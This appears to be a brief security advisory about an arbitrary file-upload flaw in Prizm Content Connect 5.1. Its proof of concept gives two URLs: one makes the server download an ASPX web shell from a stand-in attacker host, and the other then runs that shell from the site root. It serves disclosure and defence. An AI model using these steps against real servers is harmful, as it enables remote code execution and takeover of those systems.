Prizm Content Connect – Arbitrary File Upload
source: https://www.securityfocus.com/bid/57242/info Prizm Content Connect is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application. Prizm Content Connect 5.1 is vulnerable; other versions may also be affected. Proof of concept First, the attacker causes the Prizm Content Connect software to download the malicious ASPX file: http://www.example.com/default.aspx?document=http://attacker.example.org/aspxshell.aspx The resulting page discloses the filename to which the ASPX file was downloaded, e.g.: Document Location: C:\Project\ Full Document Path: C:\Project\ajwyfw45itxwys45fgzomrmv.aspx Temp Location: C:\tempcache\ The attacker then requests the ASPX shell from the root of the website: http://www.example.com/ajwyfw45itxwys45fgzomrmv.aspx |